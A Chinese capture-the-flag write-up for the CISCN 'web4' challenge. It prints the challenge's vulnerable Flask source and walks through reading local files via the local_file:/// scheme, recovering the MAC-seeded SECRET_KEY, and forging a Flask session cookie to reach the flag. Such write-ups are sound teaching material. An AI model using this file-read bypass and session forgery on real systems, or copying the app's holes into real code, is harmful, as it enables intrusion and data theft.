CISCN 华东南赛区 web4

flask-session-cookie伪造。
进入之后点击read more
发现url中出现read路由,并url=百度.com
考虑能读个文件试试,
直接使用file协议读取失败。
可能像python写的页面,使用local_file:///
成功读取etc/passwd
发现app/app.py
读取源码

import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

flag路由中需要session得username='fuck'
那么使用decode来解密下session
得到了固定格式。
{'username': b'www-data'}
所需要得就是secret-key 了
并且把www-data改为fuck并且传上去。
然后发现他的seed是伪随机。使用的是uuid.getnode()
是Mac地址。
访问local_file:///sys/class/net/eth0/address
拿到地址。
这里使用python2来转换成字符串。

import random
random.seed(0x0242ae01d90e)
print(str(random.random()*233))

得到secret_key,改了之后进入flag路由就可以拿到flag了。

推荐文章